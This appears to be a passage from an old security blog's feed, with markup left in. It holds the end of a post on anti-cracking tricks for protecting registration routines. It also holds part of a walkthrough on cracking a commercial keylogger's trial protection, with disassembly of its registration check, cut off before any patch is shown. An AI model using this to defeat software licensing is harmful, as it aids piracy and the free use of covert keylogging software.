style="font-family:arial;"&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;3]Applying Modified Shell-Code Trick.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;ShellCodes are nothing but executable machine code to which&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;if EIP points to..will do something worthwhile :-)..like maybe &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;spawn a Windows Calc.Shellcodes are many a times crafted for a &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;particular version of an OS..because of the Library function calls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;that have to be made.But with much less pain, similar technique &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;can be used to cause some more Code-Reversing trouble.Okies... that&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;was a pathetic introduction to Shellcodes..but its another huge topic&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;in itself..&amp;amp; this paper only mentions certain aspects of it which&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;we can use as Anti-Cracking techniques.So what can we use from them?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Lets see another algo:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;-----------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;@startup:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; 1]Find the exact version of the OS currently your app is&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   running on.Lets assume your registration routine uses&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   MessageBoxA function in it.so in that case,recover the&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   address of that function from a table already present in&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   your app...which looks sumwhat like this:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   Windows 2000  : MessageBoxA ==0x7AAAAAA;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   Windows Xp Sp1: MessageBoxA ==0x7BBBBBB;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   Windows Xp Sp2: MessageBoxA ==0x7CCCCCC;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   Or else....do sumthin like this:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;         lea eax,MessageBoxA&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   mov [api_Addr],eax   ----&gt; "api_Addr" is a variable to &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;hold its address.This eliminates &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;the need for maintaining a table.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; 2] Call &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;@Registration_routine(part 1)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;@Registration_routine(part 1):&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Actual registration routine lies in the&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  "@encrypted_registration_routine(part 2)"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  section of your apps' memory.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]So first you decrypt it right there.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3]Now the Win32 API function calls will&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  look obsolete..because the addresses differ.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;4]Inject the API's Correct memory address from the api_Addr&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  variable so that its fixed.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;5]Call &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;@encrypted_registration_routine(part 2)&lt;/span&gt; routine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;@encrypted_registration_routine(part 2):&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]This section contains already encrypted machine code.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]For example....the actual (un-encrypted) code could look &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  sumthing like this:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  push 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  push offset Text&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  push offset Caption&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  push MB_OK&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  call 0xAAAAAAAA  &lt;---- This is the address we have to fix&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; when called from the previous function&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; after decryption.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;---------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Benefits of this technique:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1] You don't need to have the actual code...then encrypt it...&amp;amp; then&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   decrypt it...as in the 2nd technique described in this Paper.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2] If disassembled this code will look fairly weird.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3] Even here, the Breakpoints can be killed as described previously.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Ofcourse these techniques are not Fool-Proof but if &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;implemented correctly &amp;amp; efficiently can prevent your app&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;from being cracked by the "Newbie &amp;amp; maybe even Intermediate"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;type of a software cracker.One very important thing you must know is:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;"&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Every Piece of code ever written to this day, can be either Reversed or&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; Patched&lt;/span&gt;."&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;You can only try to make it harder or simply Boring to do so... :P&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Hope this Paper was useful..... :)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;A very Simple PoC of these techniques might be obtained from here:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;http://www.crackmes.de/users/aodrulez/aodrulez_crackme_v1.0/&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;---------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Greetz fly out to:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Amforked()                 &lt;span class="Apple-tab-span" style="white-space:pre"&gt;   &lt;/span&gt;:My Mentor.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]LiquidWorm &amp;amp; Jeremy Brown  :For being so nice to a noob like me.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3]www.OrchidSeven.com    &lt;span class="Apple-tab-span" style="white-space:pre"&gt;  &lt;/span&gt; :For givin me this beautiful opportunity.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-286534067802391107?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/286534067802391107/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=286534067802391107' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/286534067802391107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/286534067802391107'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/11/anti-softwarecracking-techniques.html' title='Anti-Software_Cracking Techniques.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-5663050041845795034</id><published>2008-05-16T22:19:00.000-07:00</published><updated>2008-05-16T22:22:40.944-07:00</updated><title type='text'>A Nice Protection Scheme.</title><content type='html'>Detailed Analysis of a recent Commercial Keylogger App are as follows:&lt;br /&gt;1] Uses a Driver (*.sys) for all its keylogging activity.&lt;br /&gt;2] Driver is setup as a Service.&lt;br /&gt;3] Setup.exe of the keylogger generates random names for its core components which are&lt;br /&gt;    installed.&lt;br /&gt;4] Setup as well as the installed components verify if the application has been registered&lt;br /&gt;     by accepting a “key” and using a very tedious Key validation routine.&lt;br /&gt;5] The only limitation of the trial version are some nags and limited Time-period for&lt;br /&gt;     the usage of the app after which u need to register it, to use it.&lt;br /&gt;&lt;br /&gt;The actual protection scheme used:&lt;br /&gt;1] Setup.exe actually generates a random name for the temporary file created.&lt;br /&gt;2] Then it extracts a DLL, which contains the actual installation routine.&lt;br /&gt;3] The main function of this DLL is to:&lt;br /&gt;     a] Generate a random name.&lt;br /&gt;     b] Use this random name as the prefix of the components which are to be&lt;br /&gt;          installed.&lt;br /&gt;     c] Then install the Driver which is also assigned the random name as a Service&lt;br /&gt;          on the host system.&lt;br /&gt;4] But the important thing to note is that the driver which is installed has no&lt;br /&gt;    “function” to check if the application’s trial period is over or not.&lt;br /&gt;5] If you have not registered the app, you have a trial period of 15 Days in which&lt;br /&gt;     the application is fully functional except for the nags that show-up.&lt;br /&gt;&lt;br /&gt;Now, onto the ways to crack this protection scheme:&lt;br /&gt;1] One way of doing it could be to find out the registration routine and reverse it.&lt;br /&gt;2] Another way is to patch it.&lt;br /&gt;&lt;br /&gt;Well, the serial Validation routine looked really tedious so I decided to “Patch my way to Glory.”&lt;br /&gt;&lt;br /&gt;Points to remember while attempting this technique:&lt;br /&gt;1] Either patch the setup.exe to always spit out files with the same names so&lt;br /&gt;    that we could make a “Patch” for the app after we successfully crack it.&lt;br /&gt;2] Or else crack the components which have been installed on the system.&lt;br /&gt;&lt;br /&gt;Now the problem with the first Point is that the actual routine which generates random&lt;br /&gt;names and installs components is in the DLL that is itself extracted from the Setup.exe.&lt;br /&gt;So, it won’t be a great idea to try to patch the Setup and make it spit a patched version of&lt;br /&gt;the DLL that works according to our wishes.&lt;br /&gt;&lt;br /&gt;So I quickly moved onto cracking the components that were installed on my system.&lt;br /&gt;Well…the best thing about this Keylogger as far as cracking it is concerned is, it shows&lt;br /&gt;all its core components’s names if you select a Menu Option. So a huge task of hunting down those files is reduced. Now, as previously mentioned, the only limitations of the&lt;br /&gt;Unregistered version are Nags and 15 Days of trial period.&lt;br /&gt; Well, a little snooping around helped me to pin-point the component which was responsible for determining if the trial period was over or not and also to generate the nags if it was still unregistered.&lt;br /&gt;(Note: One weakness of this scheme is that only this component was responsible to determine if the application was registered or not and to show the Nags. Even others could have been assigned the same task.)&lt;br /&gt;&lt;br /&gt;Not only that, the application and all its components are written in C++ and the programmers didn’t even bother to pack or protect them. Maybe it has to do something with the fact that during each installation the components probably even had different CRC … can’t say for sure though.&lt;br /&gt;&lt;br /&gt;Well…the executable probably uses Global Variables to determine its Registered&lt;br /&gt;Status .But still, modifying them wasn’t needed either .Here is the disassembly of the section which determines if the application is Registered or not:&lt;br /&gt;&lt;br /&gt;004016E6  .  8D45 E4                    LEA EAX,[LOCAL.7]&lt;br /&gt;004016E9  .  50                         PUSH EAX                           ; /Arg2 = 00000000&lt;br /&gt;004016EA  .  8B4D F4                    MOV ECX,[LOCAL.3]                  ; kernel32.7C8399F3&lt;br /&gt;004016ED  .  51                         PUSH ECX                           ; Arg1 = 0012FFB0&lt;br /&gt;004016EE  .  E8 CD110000                CALL savezl_e.004028C0             ; ß-Actual routine!!                                &lt;br /&gt;004016F3  .  83C4 08                    ADD ESP,8&lt;br /&gt;004016F6  .  8945 E0                    MOV [LOCAL.8],EAX    ; EAX==Result !!&lt;br /&gt;004016F9  .  837D E0 00                 CMP [LOCAL.8],0&lt;br /&gt;004016FD  .  0F84 80000000              JE savezl_e.00401783&lt;br /&gt;00401703  .  837D E4 00                 CMP [LOCAL.7],0&lt;br /&gt;00401707  .  74 7A                      JE SHORT savezl_e.00401783&lt;br /&gt;00401709  .  837D E8 00                 CMP [LOCAL.6],0&lt;br /&gt;0040170D  .  75 06                      JNZ SHORT savezl_e.00401715&lt;br /&gt;0040170F  .  837D EC 00                 CMP [LOCAL.5],0&lt;br /&gt;00401713  .  7E 6E                      JLE SHORT savezl_e.00401783&lt;br /&gt;00401715  &gt;  837D E8 00                 CMP [LOCAL.6],0&lt;br /&gt;00401719  .  74 21                      JE SHORT savezl_e.0040173C&lt;br /&gt;0040171B  .  8D55 E4                    LEA EDX,[LOCAL.7]&lt;br /&gt;0040171E  .  52                         PUSH EDX                           ; /lParam = ntdll.KiFastSystemCallRet&lt;br /&gt;0040171F  .  68 ED174000                PUSH savezl_e.004017ED             ; DlgProc = savezl_e.004017ED&lt;br /&gt;00401724  .  6A 00                      PUSH 0                             ; hOwner = NULL&lt;br /&gt;00401726  .  6A 6A                      PUSH 6A                            ; pTemplate = 6A&lt;br /&gt;00401728  .  6A 00                      PUSH 0                             ; /pModule = NULL&lt;br /&gt;0040172A  .  FF15 ECB04100              CALL NEAR DWORD PTR DS:[&lt;&amp;amp;KERNEL32&gt;; \GetModuleHandleA&lt;br /&gt;00401730  .  50                         PUSH EAX                           ; hInst = NULL&lt;br /&gt;00401731  .  FF15 F4B14100              CALL NEAR DWORD PTR DS:[&lt;&amp;amp;USER32.D&gt;; \DialogBoxParamA&lt;br /&gt;00401737  .  8945 FC                    MOV [LOCAL.1],EAX&lt;br /&gt;0040173A  .  EB 1F                      JMP SHORT savezl_e.0040175B&lt;br /&gt;0040173C  &gt;  8D45 E4                    LEA EAX,[LOCAL.7]&lt;br /&gt;0040173F  .  50                         PUSH EAX                           ; /lParam = NULL&lt;br /&gt;00401740  .  68 121A4000                PUSH savezl_e.00401A12             ; DlgProc = savezl_e.00401A12&lt;br /&gt;00401745  .  6A 00                      PUSH 0                             ; hOwner = NULL&lt;br /&gt;00401747  .  6A 65                      PUSH 65                            ; pTemplate = 